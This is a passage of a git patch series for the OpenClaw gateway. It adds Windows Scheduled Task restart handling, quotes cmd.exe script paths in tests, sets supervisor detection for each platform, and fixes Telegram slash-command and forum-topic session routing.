(OPENCLAW_NO_RESPAWN)"); + gatewayLog.info( + `restart mode: in-process restart (${respawn.detail ?? "OPENCLAW_NO_RESPAWN"})`, + ); } if (hadLock && !(await reacquireLockForInProcessRestart())) { return; diff --git a/src/cli/update-cli/restart-helper.test.ts b/src/cli/update-cli/restart-helper.test.ts index 18888c27f53..1e15556d89e 100644 --- a/src/cli/update-cli/restart-helper.test.ts +++ b/src/cli/update-cli/restart-helper.test.ts @@ -298,11 +298,25 @@ describe("restart-helper", () => { await runRestartScript(scriptPath); - expect(spawn).toHaveBeenCalledWith("cmd.exe", ["/c", scriptPath], { + expect(spawn).toHaveBeenCalledWith("cmd.exe", ["/d", "/s", "/c", scriptPath], { detached: true, stdio: "ignore", }); expect(mockChild.unref).toHaveBeenCalled(); }); + + it("quotes cmd.exe /c paths with metacharacters on Windows", async () => { + Object.defineProperty(process, "platform", { value: "win32" }); + const scriptPath = "C:\\Temp\\me&(ow)\\fake-script.bat"; + const mockChild = { unref: vi.fn() }; + vi.mocked(spawn).mockReturnValue(mockChild as unknown as ChildProcess); + + await runRestartScript(scriptPath); + + expect(spawn).toHaveBeenCalledWith("cmd.exe", ["/d", "/s", "/c", `"${scriptPath}"`], { + detached: true, + stdio: "ignore", + }); + }); }); }); diff --git a/src/cli/update-cli/restart-helper.ts b/src/cli/update-cli/restart-helper.ts index 4f7d45aab0c..02ac29d03bb 100644 --- a/src/cli/update-cli/restart-helper.ts +++ b/src/cli/update-cli/restart-helper.ts @@ -3,6 +3,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { DEFAULT_GATEWAY_PORT } from "../../config/paths.js"; +import { quoteCmdScriptArg } from "../../daemon/cmd-argv.js"; import { resolveGatewayLaunchAgentLabel, resolveGatewaySystemdServiceName, @@ -161,7 +162,7 @@ del "%~f0" export async function runRestartScript(scriptPath: string): Promise { const isWindows = process.platform === "win32"; const file = isWindows ? "cmd.exe" : "/bin/sh"; - const args = isWindows ? ["/c", scriptPath] : [scriptPath]; + const args = isWindows ? ["/d", "/s", "/c", quoteCmdScriptArg(scriptPath)] : [scriptPath]; const child = spawn(file, args, { detached: true, diff --git a/src/daemon/service-env.test.ts b/src/daemon/service-env.test.ts index 4080cd88fcf..f1dcb6e6f6f 100644 --- a/src/daemon/service-env.test.ts +++ b/src/daemon/service-env.test.ts @@ -278,6 +278,7 @@ describe("buildServiceEnvironment", () => { expect(env.OPENCLAW_SERVICE_KIND).toBe("gateway"); expect(typeof env.OPENCLAW_SERVICE_VERSION).toBe("string"); expect(env.OPENCLAW_SYSTEMD_UNIT).toBe("openclaw-gateway.service"); + expect(env.OPENCLAW_WINDOWS_TASK_NAME).toBe("OpenClaw Gateway"); if (process.platform === "darwin") { expect(env.OPENCLAW_LAUNCHD_LABEL).toBe("ai.openclaw.gateway"); } @@ -305,6 +306,7 @@ describe("buildServiceEnvironment", () => { port: 18789, }); expect(env.OPENCLAW_SYSTEMD_UNIT).toBe("openclaw-gateway-work.service"); + expect(env.OPENCLAW_WINDOWS_TASK_NAME).toBe("OpenClaw Gateway (work)"); if (process.platform === "darwin") { expect(env.OPENCLAW_LAUNCHD_LABEL).toBe("ai.openclaw.work"); } diff --git a/src/daemon/service-env.ts b/src/daemon/service-env.ts index f0534746aa7..181e45a7590 100644 --- a/src/daemon/service-env.ts +++ b/src/daemon/service-env.ts @@ -6,6 +6,7 @@ import { GATEWAY_SERVICE_MARKER, resolveGatewayLaunchAgentLabel, resolveGatewaySystemdServiceName, + resolveGatewayWindowsTaskName, NODE_SERVICE_KIND, NODE_SERVICE_MARKER, NODE_WINDOWS_TASK_SCRIPT_NAME, @@ -262,6 +263,7 @@ export function buildServiceEnvironment(params: { OPENCLAW_GATEWAY_TOKEN: token, OPENCLAW_LAUNCHD_LABEL: resolvedLaunchdLabel, OPENCLAW_SYSTEMD_UNIT: systemdUnit, + OPENCLAW_WINDOWS_TASK_NAME: resolveGatewayWindowsTaskName(profile), OPENCLAW_SERVICE_MARKER: GATEWAY_SERVICE_MARKER, OPENCLAW_SERVICE_KIND: GATEWAY_SERVICE_KIND, OPENCLAW_SERVICE_VERSION: VERSION, diff --git a/src/infra/process-respawn.test.ts b/src/infra/process-respawn.test.ts index 06591711c81..4a18a797607 100644 --- a/src/infra/process-respawn.test.ts +++ b/src/infra/process-respawn.test.ts @@ -67,11 +67,14 @@ describe("restartGatewayProcessWithFreshPid", () => { expect(spawnMock).not.toHaveBeenCalled(); }); - it("returns supervised when launchd/systemd hints are present", () => { + it("returns supervised when launchd hints are present on macOS", () => { clearSupervisorHints(); + setPlatform("darwin"); process.env.LAUNCH_JOB_LABEL = "ai.openclaw.gateway"; + triggerOpenClawRestartMock.mockReturnValue({ ok: true, method: "launchctl" }); const result = restartGatewayProcessWithFreshPid(); expect(result.mode).toBe("supervised"); + expect(triggerOpenClawRestartMock).toHaveBeenCalledOnce(); expect(spawnMock).not.toHaveBeenCalled(); }); @@ -110,6 +113,7 @@ describe("restartGatewayProcessWithFreshPid", () => { it("spawns detached child with current exec argv", () => { delete process.env.OPENCLAW_NO_RESPAWN; clearSupervisorHints(); + setPlatform("linux"); process.execArgv = ["--import", "tsx"]; process.argv = ["/usr/local/bin/node", "/repo/dist/index.js", "gateway", "run"]; spawnMock.mockReturnValue({ pid: 4242, unref: vi.fn() }); @@ -134,23 +138,68 @@ describe("restartGatewayProcessWithFreshPid", () => { it("returns supervised when OPENCLAW_SYSTEMD_UNIT is set", () => { clearSupervisorHints(); + setPlatform("linux"); process.env.OPENCLAW_SYSTEMD_UNIT = "openclaw-gateway.service"; const result = restartGatewayProcessWithFreshPid(); expect(result.mode).toBe("supervised"); expect(spawnMock).not.toHaveBeenCalled(); }); - it("returns supervised when OPENCLAW_SERVICE_MARKER is set", () => { + it("returns supervised when OpenClaw gateway task markers are set on Windows", () => { clearSupervisorHints(); - process.env.OPENCLAW_SERVICE_MARKER = "gateway"; + setPlatform("win32"); + process.env.OPENCLAW_SERVICE_MARKER = "openclaw"; + process.env.OPENCLAW_SERVICE_KIND = "gateway"; + triggerOpenClawRestartMock.mockReturnValue({ ok: true, method: "schtasks" }); const result = restartGatewayProcessWithFreshPid(); expect(result.mode).toBe("supervised"); + expect(triggerOpenClawRestartMock).toHaveBeenCalledOnce(); + expect(spawnMock).not.toHaveBeenCalled(); + }); + + it("keeps generic service markers out of non-Windows supervisor detection", () => { + clearSupervisorHints(); + setPlatform("linux"); + process.env.OPENCLAW_SERVICE_MARKER = "openclaw"; + process.env.OPENCLAW_SERVICE_KIND = "gateway"; + spawnMock.mockReturnValue({ pid: 4242, unref: vi.fn() }); + + const result = restartGatewayProcessWithFreshPid(); + + expect(result).toEqual({ mode: "spawned", pid: 4242 }); + expect(triggerOpenClawRestartMock).not.toHaveBeenCalled(); + }); + + it("returns disabled on Windows without Scheduled Task markers", () => { + clearSupervisorHints(); + setPlatform("win32"); + + const result = restartGatewayProcessWithFreshPid(); + + expect(result.mode).toBe("disabled"); + expect(result.detail).toContain("Scheduled Task"); + expect(spawnMock).not.toHaveBeenCalled(); + }); + + it("ignores node task script hints for gateway restart detection on Windows", () => { + clearSupervisorHints(); + setPlatform("win32"); + process.env.OPENCLAW_TASK_SCRIPT = "C:\\openclaw\\node.cmd"; + process.env.OPENCLAW_TASK_SCRIPT_NAME = "node.cmd"; + process.env.OPENCLAW_SERVICE_MARKER = "openclaw"; + process.env.OPENCLAW_SERVICE_KIND = "node"; + + const result = restartGatewayProcessWithFreshPid(); + + expect(result.mode).toBe("disabled"); + expect(triggerOpenClawRestartMock).not.toHaveBeenCalled(); expect(spawnMock).not.toHaveBeenCalled(); }); it("returns failed when spawn throws", () => { delete process.env.OPENCLAW_NO_RESPAWN; clearSupervisorHints(); + setPlatform("linux"); spawnMock.mockImplementation(() => { throw new Error("spawn failed"); diff --git a/src/infra/process-respawn.ts b/src/infra/process-respawn.ts index 554a1f9a93c..0edc43f2de4 100644 --- a/src/infra/process-respawn.ts +++ b/src/infra/process-respawn.ts @@ -1,6 +1,6 @@ import { spawn } from "node:child_process"; import { triggerOpenClawRestart } from "./restart.js"; -import { hasSupervisorHint } from "./supervisor-markers.js"; +import { detectRespawnSupervisor } from "./supervisor-markers.js"; type RespawnMode = "spawned" | "supervised" | "disabled" | "failed"; @@ -18,13 +18,9 @@ function isTruthy(value: string | undefined): boolean { return normalized === "1" || normalized === "true" || normalized === "yes" || normalized === "on"; } -function isLikelySupervisedProcess(env: NodeJS.ProcessEnv = process.env): boolean { - return hasSupervisorHint(env); -} - /** * Attempt to restart this process with a fresh PID. - * - supervised environments (launchd/systemd): caller should exit and let supervisor restart + * - supervised environments (launchd/systemd/schtasks): caller should exit and let supervisor restart * - OPENCLAW_NO_RESPAWN=1: caller should keep in-process restart behavior (tests/dev) * - otherwise: spawn detached child with current argv/execArgv, then caller exits */ @@ -32,20 +28,27 @@ export function restartGatewayProcessWithFreshPid(): GatewayRespawnResult { if (isTruthy(process.env.OPENCLAW_NO_RESPAWN)) { return { mode: "disabled" }; } - if (isLikelySupervisedProcess(process.env)) { - // On macOS under launchd, actively kickstart the supervised service to - // bypass ThrottleInterval delays for intentional restarts. - if (process.platform === "darwin" && process.env.OPENCLAW_LAUNCHD_LABEL?.trim()) { + const supervisor = detectRespawnSupervisor(process.env); + if (supervisor) { + if (supervisor === "launchd" || supervisor === "schtasks") { const restart = triggerOpenClawRestart(); if (!restart.ok) { return { mode: "failed", - detail: restart.detail ?? "launchctl kickstart failed", + detail: restart.detail ?? `${restart.method} restart failed`, }; } } return { mode: "supervised" }; } + if (process.platform === "win32") { + // Detached respawn is unsafe on Windows without an identified Scheduled Task: + // the child becomes orphaned if the original process exits. + return { + mode: "disabled", + detail: "win32: detached respawn unsupported without Scheduled Task markers", + }; + } try { const args = [...process.execArgv, ...process.argv.slice(1)]; diff --git a/src/infra/restart.ts b/src/infra/restart.ts index 3f65cfc1614..ddb4352e5ca 100644 --- a/src/infra/restart.ts +++ b/src/infra/restart.ts @@ -7,10 +7,11 @@ import { } from "../daemon/constants.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { cleanStaleGatewayProcessesSync, findGatewayPidsOnPortSync } from "./restart-stale-pids.js"; +import { relaunchGatewayScheduledTask } from "./windows-task-restart.js"; export type RestartAttempt = { ok: boolean; - method: "launchctl" | "systemd" | "supervisor"; + method: "launchctl" | "systemd" | "schtasks" | "supervisor"; detail?: string; tried?: string[]; }; @@ -296,36 +297,41 @@ export function triggerOpenClawRestart(): RestartAttempt { cleanStaleGatewayProcessesSync(); const tried: string[] = []; - if (process.platform !== "darwin") { - if (process.platform === "linux") { - const unit = normalizeSystemdUnit( - process.env.OPENCLAW_SYSTEMD_UNIT, - process.env.OPENCLAW_PROFILE, - ); - const userArgs = ["--user", "restart", unit]; - tried.push(`systemctl ${userArgs.join(" ")}`); - const userRestart = spawnSync("systemctl", userArgs, { - encoding: "utf8", - timeout: SPAWN_TIMEOUT_MS, - }); - if (!userRestart.error && userRestart.status === 0) { - return { ok: true, method: "systemd", tried }; - } - const systemArgs = ["restart", unit]; - tried.push(`systemctl ${systemArgs.join(" ")}`); - const systemRestart = spawnSync("systemctl", systemArgs, { - encoding: "utf8", - timeout: SPAWN_TIMEOUT_MS, - }); - if (!systemRestart.error && systemRestart.status === 0) { - return { ok: true, method: "systemd", tried }; - } - const detail = [ - `user: ${formatSpawnDetail(userRestart)}`, - `system: ${formatSpawnDetail(systemRestart)}`, - ].join("; "); - return { ok: false, method: "systemd", detail, tried }; + if (process.platform === "linux") { + const unit = normalizeSystemdUnit( + process.env.OPENCLAW_SYSTEMD_UNIT, + process.env.OPENCLAW_PROFILE, + ); + const userArgs = ["--user", "restart", unit]; + tried.push(`systemctl ${userArgs.join(" ")}`); + const userRestart = spawnSync("systemctl", userArgs, { + encoding: "utf8", + timeout: SPAWN_TIMEOUT_MS, + }); + if (!userRestart.error && userRestart.status === 0) { + return { ok: true, method: "systemd", tried }; } + const systemArgs = ["restart", unit]; + tried.push(`systemctl ${systemArgs.join(" ")}`); + const systemRestart = spawnSync("systemctl", systemArgs, { + encoding: "utf8", + timeout: SPAWN_TIMEOUT_MS, + }); + if (!systemRestart.error && systemRestart.status === 0) { + return { ok: true, method: "systemd", tried }; + } + const detail = [ + `user: ${formatSpawnDetail(userRestart)}`, + `system: ${formatSpawnDetail(systemRestart)}`, + ].join("; "); + return { ok: false, method: "systemd", detail, tried }; + } + + if (process.platform === "win32") { + return relaunchGatewayScheduledTask(process.env); + } + + if (process.platform !== "darwin") { return { ok: false, method: "supervisor", diff --git a/src/infra/supervisor-markers.ts b/src/infra/supervisor-markers.ts index 231bece5e3d..f024ddeca2e 100644 --- a/src/infra/supervisor-markers.ts +++ b/src/infra/supervisor-markers.ts @@ -1,20 +1,52 @@ -export const SUPERVISOR_HINT_ENV_VARS = [ - // macOS launchd +const LAUNCHD_SUPERVISOR_HINT_ENV_VARS = [ "LAUNCH_JOB_LABEL", "LAUNCH_JOB_NAME", - // OpenClaw service env markers "OPENCLAW_LAUNCHD_LABEL", +] as const; + +const SYSTEMD_SUPERVISOR_HINT_ENV_VARS = [ "OPENCLAW_SYSTEMD_UNIT", - "OPENCLAW_SERVICE_MARKER", - // Linux systemd "INVOCATION_ID", "SYSTEMD_EXEC_PID", "JOURNAL_STREAM", ] as const; -export function hasSupervisorHint(env: NodeJS.ProcessEnv = process.env): boolean { - return SUPERVISOR_HINT_ENV_VARS.some((key) => { +const WINDOWS_TASK_SUPERVISOR_HINT_ENV_VARS = ["OPENCLAW_WINDOWS_TASK_NAME"] as const; + +export const SUPERVISOR_HINT_ENV_VARS = [ + ...LAUNCHD_SUPERVISOR_HINT_ENV_VARS, + ...SYSTEMD_SUPERVISOR_HINT_ENV_VARS, + ...WINDOWS_TASK_SUPERVISOR_HINT_ENV_VARS, + "OPENCLAW_SERVICE_MARKER", + "OPENCLAW_SERVICE_KIND", +] as const; + +export type RespawnSupervisor = "launchd" | "systemd" | "schtasks"; + +function hasAnyHint(env: NodeJS.ProcessEnv, keys: readonly string[]): boolean { + return keys.some((key) => { const value = env[key]; return typeof value === "string" && value.trim().length > 0; }); } + +export function detectRespawnSupervisor( + env: NodeJS.ProcessEnv = process.env, + platform: NodeJS.Platform = process.platform, +): RespawnSupervisor | null { + if (platform === "darwin") { + return hasAnyHint(env, LAUNCHD_SUPERVISOR_HINT_ENV_VARS) ? "launchd" : null; + } + if (platform === "linux") { + return hasAnyHint(env, SYSTEMD_SUPERVISOR_HINT_ENV_VARS) ? "systemd" : null; + } + if (platform === "win32") { + if (hasAnyHint(env, WINDOWS_TASK_SUPERVISOR_HINT_ENV_VARS)) { + return "schtasks"; + } + const marker = env.OPENCLAW_SERVICE_MARKER?.trim(); + const serviceKind = env.OPENCLAW_SERVICE_KIND?.trim(); + return marker && serviceKind === "gateway" ? "schtasks" : null; + } + return null; +} diff --git a/src/infra/windows-task-restart.test.ts b/src/infra/windows-task-restart.test.ts new file mode 100644 index 00000000000..1a25a7a7415 --- /dev/null +++ b/src/infra/windows-task-restart.test.ts @@ -0,0 +1,133 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { captureFullEnv } from "../test-utils/env.js"; + +const spawnMock = vi.hoisted(() => vi.fn()); +const resolvePreferredOpenClawTmpDirMock = vi.hoisted(() => vi.fn(() => os.tmpdir())); + +vi.mock("node:child_process", () => ({ + spawn: (...args: unknown[]) => spawnMock(...args), +})); +vi.mock("./tmp-openclaw-dir.js", () => ({ + resolvePreferredOpenClawTmpDir: () => resolvePreferredOpenClawTmpDirMock(), +})); + +import { relaunchGatewayScheduledTask } from "./windows-task-restart.js"; + +const envSnapshot = captureFullEnv(); +const createdScriptPaths = new Set(); +const createdTmpDirs = new Set(); + +function decodeCmdPathArg(value: string): string { + const trimmed = value.trim(); + const withoutQuotes = + trimmed.startsWith('"') && trimmed.endsWith('"') ? trimmed.slice(1, -1) : trimmed; + return withoutQuotes.replace(/\^!/g, "!").replace(/%%/g, "%"); +} + +afterEach(() => { + envSnapshot.restore(); + spawnMock.mockReset(); + resolvePreferredOpenClawTmpDirMock.mockReset(); + resolvePreferredOpenClawTmpDirMock.mockReturnValue(os.tmpdir()); + for (const scriptPath of createdScriptPaths) { + try { + fs.unlinkSync(scriptPath); + } catch { + // Best-effort cleanup for temp helper scripts created in tests. + } + } + createdScriptPaths.clear(); + for (const tmpDir of createdTmpDirs) { + try { + fs.rmSync(tmpDir, { recursive: true, force: true }); + } catch { + // Best-effort cleanup for test temp roots. + } + } + createdTmpDirs.clear(); +}); + +describe("relaunchGatewayScheduledTask", () => { + it("writes a detached schtasks relaunch helper", () => { + const unref = vi.fn(); + let seenCommandArg = ""; + spawnMock.mockImplementation((_file: string, args: string[]) => { + seenCommandArg = args[3]; + createdScriptPaths.add(decodeCmdPathArg(args[3])); + return { unref }; + }); + + const result = relaunchGatewayScheduledTask({ OPENCLAW_PROFILE: "work" }); + + expect(result).toMatchObject({ + ok: true, + method: "schtasks", + tried: expect.arrayContaining(['schtasks /Run /TN "OpenClaw Gateway (work)"']), + }); + expect(result.tried).toContain(`cmd.exe /d /s /c ${seenCommandArg}`); + expect(spawnMock).toHaveBeenCalledWith( + "cmd.exe", + ["/d", "/s", "/c", expect.any(String)], + expect.objectContaining({ + detached: true, + stdio: "ignore", + windowsHide: true, + }), + ); + expect(unref).toHaveBeenCalledOnce(); + + const scriptPath = [...createdScriptPaths][0]; + expect(scriptPath).toBeTruthy(); + const script = fs.readFileSync(scriptPath, "utf8"); + expect(script).toContain("timeout /t 1 /nobreak >nul"); + expect(script).toContain('schtasks /Run /TN "OpenClaw Gateway (work)" >nul 2>&1'); + expect(script).toContain('del "%~f0" >nul 2>&1'); + }); + + it("prefers OPENCLAW_WINDOWS_TASK_NAME overrides", () => { + spawnMock.mockImplementation((_file: string, args: string[]) => { + createdScriptPaths.add(decodeCmdPathArg(args[3])); + return { unref: vi.fn() }; + }); + + relaunchGatewayScheduledTask({ + OPENCLAW_PROFILE: "work", + OPENCLAW_WINDOWS_TASK_NAME: "OpenClaw Gateway (custom)", + }); + + const scriptPath = [...createdScriptPaths][0]; + const script = fs.readFileSync(scriptPath, "utf8"); + expect(script).toContain('schtasks /Run /TN "OpenClaw Gateway (custom)" >nul 2>&1'); + }); + + it("returns failed when the helper cannot be spawned", () => { + spawnMock.mockImplementation(() => { + throw new Error("spawn failed"); + }); + + const result = relaunchGatewayScheduledTask({ OPENCLAW_PROFILE: "work" }); + + expect(result.ok).toBe(false); + expect(result.method).toBe("schtasks"); + expect(result.detail).toContain("spawn failed"); + }); + + it("quotes the cmd /c script path when temp paths contain metacharacters", () => { + const unref = vi.fn(); + const metacharTmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw&(restart)-")); + createdTmpDirs.add(metacharTmpDir); + resolvePreferredOpenClawTmpDirMock.mockReturnValue(metacharTmpDir); + spawnMock.mockReturnValue({ unref }); + + relaunchGatewayScheduledTask({ OPENCLAW_PROFILE: "work" }); + + expect(spawnMock).toHaveBeenCalledWith( + "cmd.exe", + ["/d", "/s", "/c", expect.stringMatching(/^".*&.*"$/)], + expect.any(Object), + ); + }); +}); diff --git a/src/infra/windows-task-restart.ts b/src/infra/windows-task-restart.ts new file mode 100644 index 00000000000..147a88bac41 --- /dev/null +++ b/src/infra/windows-task-restart.ts @@ -0,0 +1,72 @@ +import { spawn } from "node:child_process"; +import { randomUUID } from "node:crypto"; +import fs from "node:fs"; +import path from "node:path"; +import { quoteCmdScriptArg } from "../daemon/cmd-argv.js"; +import { resolveGatewayWindowsTaskName } from "../daemon/constants.js"; +import type { RestartAttempt } from "./restart.js"; +import { resolvePreferredOpenClawTmpDir } from "./tmp-openclaw-dir.js"; + +const TASK_RESTART_RETRY_LIMIT = 12; +const TASK_RESTART_RETRY_DELAY_SEC = 1; + +function resolveWindowsTaskName(env: NodeJS.ProcessEnv): string { + const override = env.OPENCLAW_WINDOWS_TASK_NAME?.trim(); + if (override) { + return override; + } + return resolveGatewayWindowsTaskName(env.OPENCLAW_PROFILE); +} + +function buildScheduledTaskRestartScript(taskName: string): string { + const quotedTaskName = quoteCmdScriptArg(taskName); + return [ + "@echo off", + "setlocal", + "set /a attempts=0", + ":retry", + `timeout /t ${TASK_RESTART_RETRY_DELAY_SEC} /nobreak >nul`, + "set /a attempts+=1", + `schtasks /Run /TN ${quotedTaskName} >nul 2>&1`, + "if not errorlevel 1 goto cleanup", + `if %attempts% GEQ ${TASK_RESTART_RETRY_LIMIT} goto cleanup`, + "goto retry", + ":cleanup", + 'del "%~f0" >nul 2>&1', + ].join("\r\n"); +} + +export function relaunchGatewayScheduledTask(env: NodeJS.ProcessEnv = process.env): RestartAttempt { + const taskName = resolveWindowsTaskName(env); + const scriptPath = path.join( + resolvePreferredOpenClawTmpDir(), + `openclaw-schtasks-restart-${randomUUID()}.cmd`, + ); + const quotedScriptPath = quoteCmdScriptArg(scriptPath); + try { + fs.writeFileSync(scriptPath, `${buildScheduledTaskRestartScript(taskName)}\r\n`, "utf8"); + const child = spawn("cmd.exe", ["/d", "/s", "/c", quotedScriptPath], { + detached: true, + stdio: "ignore", + windowsHide: true, + }); + child.unref(); + return { + ok: true, + method: "schtasks", + tried: [`schtasks /Run /TN "${taskName}"`, `cmd.exe /d /s /c ${quotedScriptPath}`], + }; + } catch (err) { + try { + fs.unlinkSync(scriptPath); + } catch { + // Best-effort cleanup; keep the original restart failure. + } + return { + ok: false, + method: "schtasks", + detail: err instanceof Error ? err.message : String(err), + tried: [`schtasks /Run /TN "${taskName}"`], + }; + } +} From e8f419c4e07edd8c20f5ee816abf8263d41903de Mon Sep 17 00:00:00 2001 From: john Date: Sat, 7 Mar 2026 15:55:15 +0800 Subject: [PATCH 117/844] fix(telegram): namespace slash SessionKey by agent Fixes openclaw/openclaw#38648 --- src/telegram/bot-native-commands.session-meta.test.ts | 2 +- src/telegram/bot-native-commands.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/telegram/bot-native-commands.session-meta.test.ts b/src/telegram/bot-native-commands.session-meta.test.ts index cbf6a83be15..42c58d6397f 100644 --- a/src/telegram/bot-native-commands.session-meta.test.ts +++ b/src/telegram/bot-native-commands.session-meta.test.ts @@ -198,7 +198,7 @@ describe("registerTelegramNativeCommands — session metadata", () => { )[0]?.[0]; expect(call?.ctx?.OriginatingChannel).toBe("telegram"); expect(call?.ctx?.Provider).toBe("telegram"); - expect(call?.sessionKey).toBeDefined(); + expect(call?.sessionKey).toBe("agent:main:telegram:slash:200"); }); it("awaits session metadata persistence before dispatch", async () => { diff --git a/src/telegram/bot-native-commands.ts b/src/telegram/bot-native-commands.ts index 115180c8c4c..b8a2b980f27 100644 --- a/src/telegram/bot-native-commands.ts +++ b/src/telegram/bot-native-commands.ts @@ -669,7 +669,7 @@ export const registerTelegramNativeCommands = ({ WasMentioned: true, CommandAuthorized: commandAuthorized, CommandSource: "native" as const, - SessionKey: `telegram:slash:${senderId || chatId}`, + SessionKey: `agent:${route.agentId}:telegram:slash:${senderId || chatId}`, AccountId: route.accountId, CommandTargetSessionKey: sessionKey, MessageThreadId: threadSpec.id, From bfc36cc86d368df70fc6c41a5b9ec7a8e19bdec2 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 18:14:44 +0530 Subject: [PATCH 118/844] test: cover telegram ACP slash session namespace (#38680) --- src/telegram/bot-native-commands.session-meta.test.ts | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/src/telegram/bot-native-commands.session-meta.test.ts b/src/telegram/bot-native-commands.session-meta.test.ts index 42c58d6397f..968529d8217 100644 --- a/src/telegram/bot-native-commands.session-meta.test.ts +++ b/src/telegram/bot-native-commands.session-meta.test.ts @@ -265,6 +265,12 @@ describe("registerTelegramNativeCommands — session metadata", () => { > )[0]?.[0]; expect(dispatchCall?.ctx?.CommandTargetSessionKey).toBe(boundSessionKey); + const sessionMetaCall = ( + sessionMocks.recordSessionMetaFromInbound.mock.calls as unknown as Array< + [{ sessionKey?: string }] + > + )[0]?.[0]; + expect(sessionMetaCall?.sessionKey).toBe("agent:codex:telegram:slash:200"); }); it("aborts native command dispatch when configured ACP topic binding cannot initialize", async () => { From 9e1de97a69df6e1645413f4b4e61086e61659afa Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 19:01:16 +0530 Subject: [PATCH 119/844] fix(telegram): route native topic commands to the active session (#38871) * fix(telegram): resolve session entry for /stop in forum topics Fixes #38675 - Export normalizeStoreSessionKey from store.ts for reuse - Use it in resolveSessionEntryForKey so topic session keys (lowercase in store) are found when handling /stop - Add test for forum topic session key lookup * fix(telegram): share native topic routing with inbound messages * fix: land telegram topic routing follow-up (#38871) --------- Co-authored-by: xialonglee --- CHANGELOG.md | 1 + src/auto-reply/reply/abort.test.ts | 14 ++ src/auto-reply/reply/abort.ts | 30 ++++- src/auto-reply/reply/dispatch-from-config.ts | 13 +- src/config/sessions/store.ts | 14 +- src/telegram/bot-handlers.ts | 38 +++--- src/telegram/bot-message-context.ts | 110 ++-------------- src/telegram/bot-message-dispatch.test.ts | 12 +- src/telegram/bot-message-dispatch.ts | 8 +- .../bot-native-commands.session-meta.test.ts | 90 ++++++++++++- .../bot-native-commands.test-helpers.ts | 11 +- src/telegram/bot-native-commands.ts | 44 +++---- src/telegram/conversation-route.ts | 122 ++++++++++++++++++ 13 files changed, 335 insertions(+), 172 deletions(-) create mode 100644 src/telegram/conversation-route.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 16a29952160..5944ff51743 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -230,6 +230,7 @@ Docs: https://docs.openclaw.ai - Gateway/Telegram polling health monitor: skip stale-socket restarts for Telegram long-polling channels and thread channel identity through shared health evaluation so polling connections are not restarted on the WebSocket stale-socket heuristic. (#38395) Thanks @ql-wade and @Takhoffman. - Daemon/systemd fresh-install probe: check for OpenClaw's managed user unit before running `systemctl --user is-enabled`, so first-time Linux installs no longer fail on generic missing-unit probe errors. (#38819) Thanks @adaHubble. - Gateway/Windows restart supervision: relaunch task-managed gateways through Scheduled Task with quoted helper-script command paths, distinguish restart-capable supervisors per platform, and stop orphaned Windows gateway children during self-restart. (#38825) Thanks @obviyus. +- Telegram/native topic command routing: resolve forum-topic native commands through the same conversation route as inbound messages so topic `agentId` overrides and bound topic sessions target the active session instead of the default topic-parent session. (#38871) Thanks @obviyus. ## 2026.3.2 diff --git a/src/auto-reply/reply/abort.test.ts b/src/auto-reply/reply/abort.test.ts index dab520e6b24..df6fa228890 100644 --- a/src/auto-reply/reply/abort.test.ts +++ b/src/auto-reply/reply/abort.test.ts @@ -356,6 +356,20 @@ describe("abort detection", () => { expect(resolveSessionEntryForKey(undefined, "session-1")).toEqual({}); }); + it("resolves Telegram forum topic session when lookup key has different casing than store", () => { + // Store normalizes keys to lowercase; caller may pass mixed-case. /stop in topic must find entry. + const storeKey = "agent:main:telegram:group:-1001234567890:topic:99"; + const lookupKey = "Agent:Main:Telegram:Group:-1001234567890:Topic:99"; + const store = { + [storeKey]: { sessionId: "pi-topic-99", updatedAt: 0 }, + } as Record; + // Direct lookup fails (store uses lowercase keys); normalization fallback must succeed. + expect(store[lookupKey]).toBeUndefined(); + const result = resolveSessionEntryForKey(store, lookupKey); + expect(result.entry?.sessionId).toBe("pi-topic-99"); + expect(result.key).toBe(storeKey); + }); + it("fast-aborts even when text commands are disabled", async () => { const { cfg } = await createAbortConfig({ commandsTextEnabled: false }); diff --git a/src/auto-reply/reply/abort.ts b/src/auto-reply/reply/abort.ts index ba4d92b1dfa..d0f97f04fa8 100644 --- a/src/auto-reply/reply/abort.ts +++ b/src/auto-reply/reply/abort.ts @@ -12,6 +12,7 @@ import { import type { OpenClawConfig } from "../../config/config.js"; import { loadSessionStore, + resolveSessionStoreEntry, resolveStorePath, type SessionEntry, updateSessionStore, @@ -172,13 +173,22 @@ export function formatAbortReplyText(stoppedSubagents?: number): string { export function resolveSessionEntryForKey( store: Record | undefined, sessionKey: string | undefined, -) { +): { entry?: SessionEntry; key?: string; legacyKeys?: string[] } { if (!store || !sessionKey) { return {}; } - const direct = store[sessionKey]; - if (direct) { - return { entry: direct, key: sessionKey }; + const resolved = resolveSessionStoreEntry({ store, sessionKey }); + if (resolved.existing) { + return resolved.legacyKeys.length > 0 + ? { + entry: resolved.existing, + key: resolved.normalizedKey, + legacyKeys: resolved.legacyKeys, + } + : { + entry: resolved.existing, + key: resolved.normalizedKey, + }; } return {}; } @@ -301,7 +311,7 @@ export async function tryFastAbortFromMessage(params: { if (targetKey) { const storePath = resolveStorePath(cfg.session?.store, { agentId }); const store = loadSessionStore(storePath); - const { entry, key } = resolveSessionEntryForKey(store, targetKey); + const { entry, key, legacyKeys } = resolveSessionEntryForKey(store, targetKey); const resolvedTargetKey = key ?? targetKey; const acpManager = getAcpSessionManager(); const acpResolution = acpManager.resolveSession({ @@ -340,6 +350,11 @@ export async function tryFastAbortFromMessage(params: { applyAbortCutoffToSessionEntry(entry, abortCutoff); entry.updatedAt = Date.now(); store[key] = entry; + for (const legacyKey of legacyKeys ?? []) { + if (legacyKey !== key) { + delete store[legacyKey]; + } + } await updateSessionStore(storePath, (nextStore) => { const nextEntry = nextStore[key] ?? entry; if (!nextEntry) { @@ -349,6 +364,11 @@ export async function tryFastAbortFromMessage(params: { applyAbortCutoffToSessionEntry(nextEntry, abortCutoff); nextEntry.updatedAt = Date.now(); nextStore[key] = nextEntry; + for (const legacyKey of legacyKeys ?? []) { + if (legacyKey !== key) { + delete 